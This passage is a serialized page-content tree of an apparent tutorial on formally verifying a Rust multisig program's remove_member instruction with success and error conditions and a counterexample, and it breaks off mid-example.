multisig_auth",{"type":24,"tag":158,"props":26974,"children":26975},{"style":222},[26976],{"type":29,"value":225},{"type":24,"tag":158,"props":26978,"children":26979},{"style":171},[26980],{"type":29,"value":24403},{"type":24,"tag":158,"props":26982,"children":26983},{"style":188},[26984],{"type":29,"value":24167},{"type":24,"tag":158,"props":26986,"children":26987},{"style":171},[26988],{"type":29,"value":24172},{"type":24,"tag":158,"props":26990,"children":26991},{"style":188},[26992],{"type":29,"value":7788},{"type":24,"tag":158,"props":26994,"children":26995},{"class":160,"line":1509},[26996],{"type":24,"tag":158,"props":26997,"children":26998},{"style":188},[26999],{"type":29,"value":307},{"type":24,"tag":158,"props":27001,"children":27002},{"class":160,"line":1527},[27003],{"type":24,"tag":158,"props":27004,"children":27005},{"emptyLinePlaceholder":16},[27006],{"type":29,"value":481},{"type":24,"tag":158,"props":27008,"children":27009},{"class":160,"line":1545},[27010,27014,27018,27023,27027,27031,27035,27039,27043,27048,27052,27057,27061,27065,27069,27073,27077],{"type":24,"tag":158,"props":27011,"children":27012},{"style":165},[27013],{"type":29,"value":14924},{"type":24,"tag":158,"props":27015,"children":27016},{"style":165},[27017],{"type":29,"value":14929},{"type":24,"tag":158,"props":27019,"children":27020},{"style":496},[27021],{"type":29,"value":27022}," remove_member",{"type":24,"tag":158,"props":27024,"children":27025},{"style":188},[27026],{"type":29,"value":504},{"type":24,"tag":158,"props":27028,"children":27029},{"style":177},[27030],{"type":29,"value":21524},{"type":24,"tag":158,"props":27032,"children":27033},{"style":222},[27034],{"type":29,"value":225},{"type":24,"tag":158,"props":27036,"children":27037},{"style":171},[27038],{"type":29,"value":21533},{"type":24,"tag":158,"props":27040,"children":27041},{"style":188},[27042],{"type":29,"value":3760},{"type":24,"tag":158,"props":27044,"children":27045},{"style":171},[27046],{"type":29,"value":27047},"MsAuth",{"type":24,"tag":158,"props":27049,"children":27050},{"style":188},[27051],{"type":29,"value":8278},{"type":24,"tag":158,"props":27053,"children":27054},{"style":177},[27055],{"type":29,"value":27056},"old_member",{"type":24,"tag":158,"props":27058,"children":27059},{"style":222},[27060],{"type":29,"value":225},{"type":24,"tag":158,"props":27062,"children":27063},{"style":171},[27064],{"type":29,"value":22101},{"type":24,"tag":158,"props":27066,"children":27067},{"style":188},[27068],{"type":29,"value":723},{"type":24,"tag":158,"props":27070,"children":27071},{"style":222},[27072],{"type":29,"value":14991},{"type":24,"tag":158,"props":27074,"children":27075},{"style":171},[27076],{"type":29,"value":14996},{"type":24,"tag":158,"props":27078,"children":27079},{"style":188},[27080],{"type":29,"value":21575},{"type":24,"tag":158,"props":27082,"children":27083},{"class":160,"line":1618},[27084],{"type":24,"tag":158,"props":27085,"children":27086},{"style":2588},[27087],{"type":29,"value":27088}," // if there is only one key in this multisig, reject the removal\n",{"type":24,"tag":158,"props":27090,"children":27091},{"class":160,"line":1635},[27092,27096,27101,27105,27109,27113,27117,27121,27125,27129,27133,27137,27141,27145],{"type":24,"tag":158,"props":27093,"children":27094},{"style":1914},[27095],{"type":29,"value":3160},{"type":24,"tag":158,"props":27097,"children":27098},{"style":177},[27099],{"type":29,"value":27100}," ctx",{"type":24,"tag":158,"props":27102,"children":27103},{"style":222},[27104],{"type":29,"value":347},{"type":24,"tag":158,"props":27106,"children":27107},{"style":188},[27108],{"type":29,"value":15909},{"type":24,"tag":158,"props":27110,"children":27111},{"style":222},[27112],{"type":29,"value":347},{"type":24,"tag":158,"props":27114,"children":27115},{"style":188},[27116],{"type":29,"value":25061},{"type":24,"tag":158,"props":27118,"children":27119},{"style":222},[27120],{"type":29,"value":347},{"type":24,"tag":158,"props":27122,"children":27123},{"style":188},[27124],{"type":29,"value":22227},{"type":24,"tag":158,"props":27126,"children":27127},{"style":222},[27128],{"type":29,"value":347},{"type":24,"tag":158,"props":27130,"children":27131},{"style":496},[27132],{"type":29,"value":10726},{"type":24,"tag":158,"props":27134,"children":27135},{"style":188},[27136],{"type":29,"value":15277},{"type":24,"tag":158,"props":27138,"children":27139},{"style":222},[27140],{"type":29,"value":1034},{"type":24,"tag":158,"props":27142,"children":27143},{"style":465},[27144],{"type":29,"value":1668},{"type":24,"tag":158,"props":27146,"children":27147},{"style":188},[27148],{"type":29,"value":210},{"type":24,"tag":158,"props":27150,"children":27151},{"class":160,"line":1644},[27152,27156,27160,27164,27168,27172,27177],{"type":24,"tag":158,"props":27153,"children":27154},{"style":1914},[27155],{"type":29,"value":16980},{"type":24,"tag":158,"props":27157,"children":27158},{"style":496},[27159],{"type":29,"value":24764},{"type":24,"tag":158,"props":27161,"children":27162},{"style":188},[27163],{"type":29,"value":504},{"type":24,"tag":158,"props":27165,"children":27166},{"style":171},[27167],{"type":29,"value":24773},{"type":24,"tag":158,"props":27169,"children":27170},{"style":222},[27171],{"type":29,"value":2146},{"type":24,"tag":158,"props":27173,"children":27174},{"style":171},[27175],{"type":29,"value":27176},"CannotRemoveSoloMember",{"type":24,"tag":158,"props":27178,"children":27179},{"style":188},[27180],{"type":29,"value":1071},{"type":24,"tag":158,"props":27182,"children":27183},{"class":160,"line":1652},[27184],{"type":24,"tag":158,"props":27185,"children":27186},{"style":188},[27187],{"type":29,"value":3967},{"type":24,"tag":158,"props":27189,"children":27190},{"class":160,"line":1704},[27191,27195,27199,27203,27207,27211,27215,27219,27223,27227,27231,27235],{"type":24,"tag":158,"props":27192,"children":27193},{"style":177},[27194],{"type":29,"value":21467},{"type":24,"tag":158,"props":27196,"children":27197},{"style":222},[27198],{"type":29,"value":347},{"type":24,"tag":158,"props":27200,"children":27201},{"style":188},[27202],{"type":29,"value":15909},{"type":24,"tag":158,"props":27204,"children":27205},{"style":222},[27206],{"type":29,"value":347},{"type":24,"tag":158,"props":27208,"children":27209},{"style":188},[27210],{"type":29,"value":25061},{"type":24,"tag":158,"props":27212,"children":27213},{"style":222},[27214],{"type":29,"value":347},{"type":24,"tag":158,"props":27216,"children":27217},{"style":496},[27218],{"type":29,"value":26723},{"type":24,"tag":158,"props":27220,"children":27221},{"style":188},[27222],{"type":29,"value":504},{"type":24,"tag":158,"props":27224,"children":27225},{"style":177},[27226],{"type":29,"value":27056},{"type":24,"tag":158,"props":27228,"children":27229},{"style":188},[27230],{"type":29,"value":521},{"type":24,"tag":158,"props":27232,"children":27233},{"style":222},[27234],{"type":29,"value":4820},{"type":24,"tag":158,"props":27236,"children":27237},{"style":188},[27238],{"type":29,"value":473},{"type":24,"tag":158,"props":27240,"children":27241},{"class":160,"line":1713},[27242],{"type":24,"tag":158,"props":27243,"children":27244},{"emptyLinePlaceholder":16},[27245],{"type":29,"value":481},{"type":24,"tag":158,"props":27247,"children":27248},{"class":160,"line":1731},[27249],{"type":24,"tag":158,"props":27250,"children":27251},{"style":2588},[27252],{"type":29,"value":27253}," // if the number of keys is now less than the threshold, adjust it\n",{"type":24,"tag":158,"props":27255,"children":27256},{"class":160,"line":5485},[27257,27261,27265,27269,27273,27277,27281,27285,27289,27293,27297,27302,27306,27310,27314,27318,27322,27326,27330,27334,27338,27342],{"type":24,"tag":158,"props":27258,"children":27259},{"style":1914},[27260],{"type":29,"value":3160},{"type":24,"tag":158,"props":27262,"children":27263},{"style":177},[27264],{"type":29,"value":27100},{"type":24,"tag":158,"props":27266,"children":27267},{"style":222},[27268],{"type":29,"value":347},{"type":24,"tag":158,"props":27270,"children":27271},{"style":188},[27272],{"type":29,"value":15909},{"type":24,"tag":158,"props":27274,"children":27275},{"style":222},[27276],{"type":29,"value":347},{"type":24,"tag":158,"props":27278,"children":27279},{"style":188},[27280],{"type":29,"value":25061},{"type":24,"tag":158,"props":27282,"children":27283},{"style":222},[27284],{"type":29,"value":347},{"type":24,"tag":158,"props":27286,"children":27287},{"style":188},[27288],{"type":29,"value":22227},{"type":24,"tag":158,"props":27290,"children":27291},{"style":222},[27292],{"type":29,"value":347},{"type":24,"tag":158,"props":27294,"children":27295},{"style":496},[27296],{"type":29,"value":10726},{"type":24,"tag":158,"props":27298,"children":27299},{"style":188},[27300],{"type":29,"value":27301},"() \u003C ",{"type":24,"tag":158,"props":27303,"children":27304},{"style":171},[27305],{"type":29,"value":17838},{"type":24,"tag":158,"props":27307,"children":27308},{"style":222},[27309],{"type":29,"value":2146},{"type":24,"tag":158,"props":27311,"children":27312},{"style":496},[27313],{"type":29,"value":20716},{"type":24,"tag":158,"props":27315,"children":27316},{"style":188},[27317],{"type":29,"value":504},{"type":24,"tag":158,"props":27319,"children":27320},{"style":177},[27321],{"type":29,"value":21524},{"type":24,"tag":158,"props":27323,"children":27324},{"style":222},[27325],{"type":29,"value":347},{"type":24,"tag":158,"props":27327,"children":27328},{"style":188},[27329],{"type":29,"value":15909},{"type":24,"tag":158,"props":27331,"children":27332},{"style":222},[27333],{"type":29,"value":347},{"type":24,"tag":158,"props":27335,"children":27336},{"style":188},[27337],{"type":29,"value":25061},{"type":24,"tag":158,"props":27339,"children":27340},{"style":222},[27341],{"type":29,"value":347},{"type":24,"tag":158,"props":27343,"children":27344},{"style":188},[27345],{"type":29,"value":27346},"threshold) {\n",{"type":24,"tag":158,"props":27348,"children":27349},{"class":160,"line":5493},[27350,27354,27359,27363,27367,27371,27375,27379,27383,27387,27391,27395,27399,27403,27407,27411,27415,27420,27424,27428,27432],{"type":24,"tag":158,"props":27351,"children":27352},{"style":165},[27353],{"type":29,"value":4732},{"type":24,"tag":158,"props":27355,"children":27356},{"style":177},[27357],{"type":29,"value":27358}," new_threshold",{"type":24,"tag":158,"props":27360,"children":27361},{"style":222},[27362],{"type":29,"value":225},{"type":24,"tag":158,"props":27364,"children":27365},{"style":171},[27366],{"type":29,"value":22274},{"type":24,"tag":158,"props":27368,"children":27369},{"style":222},[27370],{"type":29,"value":462},{"type":24,"tag":158,"props":27372,"children":27373},{"style":177},[27374],{"type":29,"value":27100},{"type":24,"tag":158,"props":27376,"children":27377},{"style":222},[27378],{"type":29,"value":347},{"type":24,"tag":158,"props":27380,"children":27381},{"style":188},[27382],{"type":29,"value":15909},{"type":24,"tag":158,"props":27384,"children":27385},{"style":222},[27386],{"type":29,"value":347},{"type":24,"tag":158,"props":27388,"children":27389},{"style":188},[27390],{"type":29,"value":25061},{"type":24,"tag":158,"props":27392,"children":27393},{"style":222},[27394],{"type":29,"value":347},{"type":24,"tag":158,"props":27396,"children":27397},{"style":188},[27398],{"type":29,"value":22227},{"type":24,"tag":158,"props":27400,"children":27401},{"style":222},[27402],{"type":29,"value":347},{"type":24,"tag":158,"props":27404,"children":27405},{"style":496},[27406],{"type":29,"value":10726},{"type":24,"tag":158,"props":27408,"children":27409},{"style":188},[27410],{"type":29,"value":15113},{"type":24,"tag":158,"props":27412,"children":27413},{"style":222},[27414],{"type":29,"value":347},{"type":24,"tag":158,"props":27416,"children":27417},{"style":496},[27418],{"type":29,"value":27419},"try_into",{"type":24,"tag":158,"props":27421,"children":27422},{"style":188},[27423],{"type":29,"value":15113},{"type":24,"tag":158,"props":27425,"children":27426},{"style":222},[27427],{"type":29,"value":347},{"type":24,"tag":158,"props":27429,"children":27430},{"style":496},[27431],{"type":29,"value":5324},{"type":24,"tag":158,"props":27433,"children":27434},{"style":188},[27435],{"type":29,"value":5329},{"type":24,"tag":158,"props":27437,"children":27438},{"class":160,"line":5553},[27439,27444,27448,27452,27456,27460,27464,27469,27473,27478,27482,27486],{"type":24,"tag":158,"props":27440,"children":27441},{"style":177},[27442],{"type":29,"value":27443}," ctx",{"type":24,"tag":158,"props":27445,"children":27446},{"style":222},[27447],{"type":29,"value":347},{"type":24,"tag":158,"props":27449,"children":27450},{"style":188},[27451],{"type":29,"value":15909},{"type":24,"tag":158,"props":27453,"children":27454},{"style":222},[27455],{"type":29,"value":347},{"type":24,"tag":158,"props":27457,"children":27458},{"style":188},[27459],{"type":29,"value":25061},{"type":24,"tag":158,"props":27461,"children":27462},{"style":222},[27463],{"type":29,"value":347},{"type":24,"tag":158,"props":27465,"children":27466},{"style":496},[27467],{"type":29,"value":27468},"change_threshold",{"type":24,"tag":158,"props":27470,"children":27471},{"style":188},[27472],{"type":29,"value":504},{"type":24,"tag":158,"props":27474,"children":27475},{"style":177},[27476],{"type":29,"value":27477},"new_threshold",{"type":24,"tag":158,"props":27479,"children":27480},{"style":188},[27481],{"type":29,"value":521},{"type":24,"tag":158,"props":27483,"children":27484},{"style":222},[27485],{"type":29,"value":4820},{"type":24,"tag":158,"props":27487,"children":27488},{"style":188},[27489],{"type":29,"value":473},{"type":24,"tag":158,"props":27491,"children":27492},{"class":160,"line":10636},[27493],{"type":24,"tag":158,"props":27494,"children":27495},{"style":188},[27496],{"type":29,"value":3967},{"type":24,"tag":158,"props":27498,"children":27499},{"class":160,"line":10652},[27500,27504,27509,27513,27517,27521,27525,27529,27533,27537],{"type":24,"tag":158,"props":27501,"children":27502},{"style":165},[27503],{"type":29,"value":2710},{"type":24,"tag":158,"props":27505,"children":27506},{"style":177},[27507],{"type":29,"value":27508}," new_index",{"type":24,"tag":158,"props":27510,"children":27511},{"style":222},[27512],{"type":29,"value":462},{"type":24,"tag":158,"props":27514,"children":27515},{"style":177},[27516],{"type":29,"value":27100},{"type":24,"tag":158,"props":27518,"children":27519},{"style":222},[27520],{"type":29,"value":347},{"type":24,"tag":158,"props":27522,"children":27523},{"style":188},[27524],{"type":29,"value":15909},{"type":24,"tag":158,"props":27526,"children":27527},{"style":222},[27528],{"type":29,"value":347},{"type":24,"tag":158,"props":27530,"children":27531},{"style":188},[27532],{"type":29,"value":25061},{"type":24,"tag":158,"props":27534,"children":27535},{"style":222},[27536],{"type":29,"value":347},{"type":24,"tag":158,"props":27538,"children":27539},{"style":188},[27540],{"type":29,"value":27541},"transaction_index;\n",{"type":24,"tag":158,"props":27543,"children":27544},{"class":160,"line":10696},[27545,27549,27553,27557,27561,27565,27569,27574,27578,27583],{"type":24,"tag":158,"props":27546,"children":27547},{"style":177},[27548],{"type":29,"value":21467},{"type":24,"tag":158,"props":27550,"children":27551},{"style":222},[27552],{"type":29,"value":347},{"type":24,"tag":158,"props":27554,"children":27555},{"style":188},[27556],{"type":29,"value":15909},{"type":24,"tag":158,"props":27558,"children":27559},{"style":222},[27560],{"type":29,"value":347},{"type":24,"tag":158,"props":27562,"children":27563},{"style":188},[27564],{"type":29,"value":25061},{"type":24,"tag":158,"props":27566,"children":27567},{"style":222},[27568],{"type":29,"value":347},{"type":24,"tag":158,"props":27570,"children":27571},{"style":496},[27572],{"type":29,"value":27573},"set_change_index",{"type":24,"tag":158,"props":27575,"children":27576},{"style":188},[27577],{"type":29,"value":504},{"type":24,"tag":158,"props":27579,"children":27580},{"style":177},[27581],{"type":29,"value":27582},"new_index",{"type":24,"tag":158,"props":27584,"children":27585},{"style":188},[27586],{"type":29,"value":2125},{"type":24,"tag":158,"props":27588,"children":27589},{"class":160,"line":10801},[27590],{"type":24,"tag":158,"props":27591,"children":27592},{"style":188},[27593],{"type":29,"value":307},{"type":24,"tag":25,"props":27595,"children":27596},{},[27597,27599,27604],{"type":29,"value":27598},"First let's establish the ",{"type":24,"tag":154,"props":27600,"children":27602},{"className":27601},[],[27603],{"type":29,"value":21398},{"type":29,"value":27605}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":24,"tag":147,"props":27607,"children":27609},{"code":27608,"language":150,"meta":7,"className":151,"style":7},"#[succeeds_if(\n ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[27610],{"type":24,"tag":154,"props":27611,"children":27612},{"__ignoreMap":7},[27613,27620,27667,27674],{"type":24,"tag":158,"props":27614,"children":27615},{"class":160,"line":161},[27616],{"type":24,"tag":158,"props":27617,"children":27618},{"style":188},[27619],{"type":29,"value":25368},{"type":24,"tag":158,"props":27621,"children":27622},{"class":160,"line":213},[27623,27627,27631,27635,27639,27643,27647,27651,27655,27659,27663],{"type":24,"tag":158,"props":27624,"children":27625},{"style":188},[27626],{"type":29,"value":21467},{"type":24,"tag":158,"props":27628,"children":27629},{"style":222},[27630],{"type":29,"value":347},{"type":24,"tag":158,"props":27632,"children":27633},{"style":188},[27634],{"type":29,"value":15909},{"type":24,"tag":158,"props":27636,"children":27637},{"style":222},[27638],{"type":29,"value":347},{"type":24,"tag":158,"props":27640,"children":27641},{"style":188},[27642],{"type":29,"value":25061},{"type":24,"tag":158,"props":27644,"children":27645},{"style":222},[27646],{"type":29,"value":347},{"type":24,"tag":158,"props":27648,"children":27649},{"style":188},[27650],{"type":29,"value":22227},{"type":24,"tag":158,"props":27652,"children":27653},{"style":222},[27654],{"type":29,"value":347},{"type":24,"tag":158,"props":27656,"children":27657},{"style":188},[27658],{"type":29,"value":22265},{"type":24,"tag":158,"props":27660,"children":27661},{"style":222},[27662],{"type":29,"value":1280},{"type":24,"tag":158,"props":27664,"children":27665},{"style":188},[27666],{"type":29,"value":20685},{"type":24,"tag":158,"props":27668,"children":27669},{"class":160,"line":238},[27670],{"type":24,"tag":158,"props":27671,"children":27672},{"style":188},[27673],{"type":29,"value":21502},{"type":24,"tag":158,"props":27675,"children":27676},{"class":160,"line":259},[27677,27681,27685,27689,27693,27697,27701],{"type":24,"tag":158,"props":27678,"children":27679},{"style":165},[27680],{"type":29,"value":21510},{"type":24,"tag":158,"props":27682,"children":27683},{"style":496},[27684],{"type":29,"value":27022},{"type":24,"tag":158,"props":27686,"children":27687},{"style":188},[27688],{"type":29,"value":504},{"type":24,"tag":158,"props":27690,"children":27691},{"style":222},[27692],{"type":29,"value":377},{"type":24,"tag":158,"props":27694,"children":27695},{"style":188},[27696],{"type":29,"value":25245},{"type":24,"tag":158,"props":27698,"children":27699},{"style":222},[27700],{"type":29,"value":377},{"type":24,"tag":158,"props":27702,"children":27703},{"style":188},[27704],{"type":29,"value":382},{"type":24,"tag":25,"props":27706,"children":27707},{},[27708,27710,27715],{"type":29,"value":27709},"And for now let's remove the invariant on the ",{"type":24,"tag":154,"props":27711,"children":27713},{"className":27712},[],[27714],{"type":29,"value":23986},{"type":29,"value":27716}," account:",{"type":24,"tag":147,"props":27718,"children":27720},{"code":27719,"language":150,"meta":7,"className":151,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[27721],{"type":24,"tag":154,"props":27722,"children":27723},{"__ignoreMap":7},[27724,27732],{"type":24,"tag":158,"props":27725,"children":27726},{"class":160,"line":161},[27727],{"type":24,"tag":158,"props":27728,"children":27729},{"style":188},[27730],{"type":29,"value":27731},"#[invariant()]\n",{"type":24,"tag":158,"props":27733,"children":27734},{"class":160,"line":213},[27735,27739,27743,27747,27751,27755],{"type":24,"tag":158,"props":27736,"children":27737},{"style":165},[27738],{"type":29,"value":14924},{"type":24,"tag":158,"props":27740,"children":27741},{"style":165},[27742],{"type":29,"value":22395},{"type":24,"tag":158,"props":27744,"children":27745},{"style":171},[27746],{"type":29,"value":22400},{"type":24,"tag":158,"props":27748,"children":27749},{"style":188},[27750],{"type":29,"value":372},{"type":24,"tag":158,"props":27752,"children":27753},{"style":222},[27754],{"type":29,"value":377},{"type":24,"tag":158,"props":27756,"children":27757},{"style":188},[27758],{"type":29,"value":382},{"type":24,"tag":25,"props":27760,"children":27761},{},[27762],{"type":29,"value":27763},"Let's test this!",{"type":24,"tag":25,"props":27765,"children":27766},{},[27767,27769,27774],{"type":29,"value":27768},"Our ",{"type":24,"tag":154,"props":27770,"children":27772},{"className":27771},[],[27773],{"type":29,"value":21398},{"type":29,"value":27775}," harness produces:",{"type":24,"tag":147,"props":27777,"children":27779},{"code":27778},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[27780],{"type":24,"tag":154,"props":27781,"children":27782},{"__ignoreMap":7},[27783],{"type":29,"value":27778},{"type":24,"tag":25,"props":27785,"children":27786},{},[27787],{"type":29,"value":27788},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":24,"tag":25,"props":27790,"children":27791},{},[27792,27794,27799],{"type":29,"value":27793},"However, remember that since ",{"type":24,"tag":154,"props":27795,"children":27797},{"className":27796},[],[27798],{"type":29,"value":21398},{"type":29,"value":27800}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":24,"tag":25,"props":27802,"children":27803},{},[27804,27806,27811,27813,27818,27820,27825],{"type":29,"value":27805},"Suppose we want to be sure that this condition is the ",{"type":24,"tag":32,"props":27807,"children":27808},{},[27809],{"type":29,"value":27810},"only condition",{"type":29,"value":27812}," in which the function will succeed (i.e. ",{"type":24,"tag":32,"props":27814,"children":27815},{},[27816],{"type":29,"value":27817},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":29,"value":27819},"). We could attempt to verify the other side of this with an ",{"type":24,"tag":154,"props":27821,"children":27823},{"className":27822},[],[27824],{"type":29,"value":21405},{"type":29,"value":27826}," macro such as:",{"type":24,"tag":147,"props":27828,"children":27830},{"code":27829,"language":150,"meta":7,"className":151,"style":7},"#[succeeds_if(\n ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[27831],{"type":24,"tag":154,"props":27832,"children":27833},{"__ignoreMap":7},[27834,27841,27888,27895,27902,27949,27956],{"type":24,"tag":158,"props":27835,"children":27836},{"class":160,"line":161},[27837],{"type":24,"tag":158,"props":27838,"children":27839},{"style":188},[27840],{"type":29,"value":25368},{"type":24,"tag":158,"props":27842,"children":27843},{"class":160,"line":213},[27844,27848,27852,27856,27860,27864,27868,27872,27876,27880,27884],{"type":24,"tag":158,"props":27845,"children":27846},{"style":188},[27847],{"type":29,"value":21467},{"type":24,"tag":158,"props":27849,"children":27850},{"style":222},[27851],{"type":29,"value":347},{"type":24,"tag":158,"props":27853,"children":27854},{"style":188},[27855],{"type":29,"value":15909},{"type":24,"tag":158,"props":27857,"children":27858},{"style":222},[27859],{"type":29,"value":347},{"type":24,"tag":158,"props":27861,"children":27862},{"style":188},[27863],{"type":29,"value":25061},{"type":24,"tag":158,"props":27865,"children":27866},{"style":222},[27867],{"type":29,"value":347},{"type":24,"tag":158,"props":27869,"children":27870},{"style":188},[27871],{"type":29,"value":22227},{"type":24,"tag":158,"props":27873,"children":27874},{"style":222},[27875],{"type":29,"value":347},{"type":24,"tag":158,"props":27877,"children":27878},{"style":188},[27879],{"type":29,"value":22265},{"type":24,"tag":158,"props":27881,"children":27882},{"style":222},[27883],{"type":29,"value":1280},{"type":24,"tag":158,"props":27885,"children":27886},{"style":188},[27887],{"type":29,"value":20685},{"type":24,"tag":158,"props":27889,"children":27890},{"class":160,"line":238},[27891],{"type":24,"tag":158,"props":27892,"children":27893},{"style":188},[27894],{"type":29,"value":21502},{"type":24,"tag":158,"props":27896,"children":27897},{"class":160,"line":259},[27898],{"type":24,"tag":158,"props":27899,"children":27900},{"style":188},[27901],{"type":29,"value":21459},{"type":24,"tag":158,"props":27903,"children":27904},{"class":160,"line":280},[27905,27909,27913,27917,27921,27925,27929,27933,27937,27941,27945],{"type":24,"tag":158,"props":27906,"children":27907},{"style":188},[27908],{"type":29,"value":21467},{"type":24,"tag":158,"props":27910,"children":27911},{"style":222},[27912],{"type":29,"value":347},{"type":24,"tag":158,"props":27914,"children":27915},{"style":188},[27916],{"type":29,"value":15909},{"type":24,"tag":158,"props":27918,"children":27919},{"style":222},[27920],{"type":29,"value":347},{"type":24,"tag":158,"props":27922,"children":27923},{"style":188},[27924],{"type":29,"value":25061},{"type":24,"tag":158,"props":27926,"children":27927},{"style":222},[27928],{"type":29,"value":347},{"type":24,"tag":158,"props":27930,"children":27931},{"style":188},[27932],{"type":29,"value":22227},{"type":24,"tag":158,"props":27934,"children":27935},{"style":222},[27936],{"type":29,"value":347},{"type":24,"tag":158,"props":27938,"children":27939},{"style":188},[27940],{"type":29,"value":22265},{"type":24,"tag":158,"props":27942,"children":27943},{"style":222},[27944],{"type":29,"value":20657},{"type":24,"tag":158,"props":27946,"children":27947},{"style":188},[27948],{"type":29,"value":20685},{"type":24,"tag":158,"props":27950,"children":27951},{"class":160,"line":301},[27952],{"type":24,"tag":158,"props":27953,"children":27954},{"style":188},[27955],{"type":29,"value":21502},{"type":24,"tag":158,"props":27957,"children":27958},{"class":160,"line":626},[27959,27963,27967,27971,27975,27979,27983],{"type":24,"tag":158,"props":27960,"children":27961},{"style":165},[27962],{"type":29,"value":21510},{"type":24,"tag":158,"props":27964,"children":27965},{"style":496},[27966],{"type":29,"value":27022},{"type":24,"tag":158,"props":27968,"children":27969},{"style":188},[27970],{"type":29,"value":504},{"type":24,"tag":158,"props":27972,"children":27973},{"style":222},[27974],{"type":29,"value":377},{"type":24,"tag":158,"props":27976,"children":27977},{"style":188},[27978],{"type":29,"value":25245},{"type":24,"tag":158,"props":27980,"children":27981},{"style":222},[27982],{"type":29,"value":377},{"type":24,"tag":158,"props":27984,"children":27985},{"style":188},[27986],{"type":29,"value":382},{"type":24,"tag":25,"props":27988,"children":27989},{},[27990,27992,27997],{"type":29,"value":27991},"Let's test this, we just need to run the new ",{"type":24,"tag":154,"props":27993,"children":27995},{"className":27994},[],[27996],{"type":29,"value":21405},{"type":29,"value":27998}," harness:",{"type":24,"tag":147,"props":28000,"children":28002},{"code":28001},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[28003],{"type":24,"tag":154,"props":28004,"children":28005},{"__ignoreMap":7},[28006],{"type":29,"value":28001},{"type":24,"tag":25,"props":28008,"children":28009},{},[28010],{"type":29,"value":28011},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":24,"tag":147,"props":28013,"children":28015},{"code":28014,"language":150,"meta":7,"className":151,"style":7},"Account {\n account: Ms {\n threshold: 0,\n authority_index: 0,\n transaction_index: 0,\n ms_change_index: 0,\n bump: 0,\n create_key: ...,\n allow_external_execute: false,\n keys: Vec {\n data: ...,\n size: 0,\n },\n },\n info: AccountInfo { ... },\n}\n",[28016],{"type":24,"tag":154,"props":28017,"children":28018},{"__ignoreMap":7},[28019,28030,28049,28068,28087,28106,28125,28144,28163,28182,28201,28221,28240,28247,28254,28281],{"type":24,"tag":158,"props":28020,"children":28021},{"class":160,"line":161},[28022,28026],{"type":24,"tag":158,"props":28023,"children":28024},{"style":171},[28025],{"type":29,"value":18384},{"type":24,"tag":158,"props":28027,"children":28028},{"style":188},[28029],{"type":29,"value":210},{"type":24,"tag":158,"props":28031,"children":28032},{"class":160,"line":213},[28033,28037,28041,28045],{"type":24,"tag":158,"props":28034,"children":28035},{"style":177},[28036],{"type":29,"value":26428},{"type":24,"tag":158,"props":28038,"children":28039},{"style":222},[28040],{"type":29,"value":225},{"type":24,"tag":158,"props":28042,"children":28043},{"style":171},[28044],{"type":29,"value":22400},{"type":24,"tag":158,"props":28046,"children":28047},{"style":188},[28048],{"type":29,"value":210},{"type":24,"tag":158,"props":28050,"children":28051},{"class":160,"line":238},[28052,28056,28060,28064],{"type":24,"tag":158,"props":28053,"children":28054},{"style":177},[28055],{"type":29,"value":25082},{"type":24,"tag":158,"props":28057,"children":28058},{"style":222},[28059],{"type":29,"value":225},{"type":24,"tag":158,"props":28061,"children":28062},{"style":465},[28063],{"type":29,"value":2025},{"type":24,"tag":158,"props":28065,"children":28066},{"style":188},[28067],{"type":29,"value":235},{"type":24,"tag":158,"props":28069,"children":28070},{"class":160,"line":259},[28071,28075,28079,28083],{"type":24,"tag":158,"props":28072,"children":28073},{"style":177},[28074],{"type":29,"value":26468},{"type":24,"tag":158,"props":28076,"children":28077},{"style":222},[28078],{"type":29,"value":225},{"type":24,"tag":158,"props":28080,"children":28081},{"style":465},[28082],{"type":29,"value":2025},{"type":24,"tag":158,"props":28084,"children":28085},{"style":188},[28086],{"type":29,"value":235},{"type":24,"tag":158,"props":28088,"children":28089},{"class":160,"line":280},[28090,28094,28098,28102],{"type":24,"tag":158,"props":28091,"children":28092},{"style":177},[28093],{"type":29,"value":26488},{"type":24,"tag":158,"props":28095,"children":28096},{"style":222},[28097],{"type":29,"value":225},{"type":24,"tag":158,"props":28099,"children":28100},{"style":465},[28101],{"type":29,"value":2025},{"type":24,"tag":158,"props":28103,"children":28104},{"style":188},[28105],{"type":29,"value":235},{"type":24,"tag":158,"props":28107,"children":28108},{"class":160,"line":301},[28109,28113,28117,28121],{"type":24,"tag":158,"props":28110,"children":28111},{"style":177},[28112],{"type":29,"value":26508},{"type":24,"tag":158,"props":28114,"children":28115},{"style":222},[28116],{"type":29,"value":225},{"type":24,"tag":158,"props":28118,"children":28119},{"style":465},[28120],{"type":29,"value":2025},{"type":24,"tag":158,"props":28122,"children":28123},{"style":188},[28124],{"type":29,"value":235},{"type":24,"tag":158,"props":28126,"children":28127},{"class":160,"line":626},[28128,28132,28136,28140],{"type":24,"tag":158,"props":28129,"children":28130},{"style":177},[28131],{"type":29,"value":26528},{"type":24,"tag":158,"props":28133,"children":28134},{"style":222},[28135],{"type":29,"value":225},{"type":24,"tag":158,"props":28137,"children":28138},{"style":465},[28139],{"type":29,"value":2025},{"type":24,"tag":158,"props":28141,"children":28142},{"style":188},[28143],{"type":29,"value":235},{"type":24,"tag":158,"props":28145,"children":28146},{"class":160,"line":668},[28147,28151,28155,28159],{"type":24,"tag":158,"props":28148,"children":28149},{"style":177},[28150],{"type":29,"value":25095},{"type":24,"tag":158,"props":28152,"children":28153},{"style":222},[28154],{"type":29,"value":225},{"type":24,"tag":158,"props":28156,"children":28157},{"style":222},[28158],{"type":29,"value":26556},{"type":24,"tag":158,"props":28160,"children":28161},{"style":188},[28162],{"type":29,"value":235},{"type":24,"tag":158,"props":28164,"children":28165},{"class":160,"line":676},[28166,28170,28174,28178],{"type":24,"tag":158,"props":28167,"children":28168},{"style":177},[28169],{"type":29,"value":26568},{"type":24,"tag":158,"props":28171,"children":28172},{"style":222},[28173],{"type":29,